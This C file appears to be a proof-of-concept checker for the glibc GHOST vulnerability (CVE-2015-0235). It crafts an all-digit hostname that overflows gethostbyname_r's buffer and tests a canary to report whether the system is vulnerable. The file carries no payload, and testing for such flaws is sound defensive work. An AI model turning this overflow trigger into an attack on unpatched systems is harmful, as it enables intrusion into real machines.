cve20150235poc.c

//http://bobao.360.cn/learning/detail/224.html 
//http://netsecurity.51cto.com/art/201501/464592_1.htm
//http://www.openwall.com/lists/oss-security/2015/01/27/9
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
  
#define CANARY "in_the_coal_mine"
  
struct {
  char buffer[1024];//non-reentrant version of getXXbyYY will malloc(1024) at the beginning
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
  
int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;
  
  /*this is the wrong size_needed calculation which is the root cause of this CVE*/
  /*see __nss_hostname_digits_dots() in nss/digits_dots.c of glibc               */
  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);//payload can only be number or dot, all number also works because inet_aton() accepts this form
  name[len] = '\0';
  puts("[befor]");
  printf("%s\n",temp.buffer);
  printf("%s\n",temp.canary);
  
  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
  
  if (strcmp(temp.canary, CANARY) != 0) {
    puts("[after]");
    printf("%s\n",temp.buffer);
    printf("%s\n",temp.canary);
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  } else
      printf("retval=%d\n",retval);
}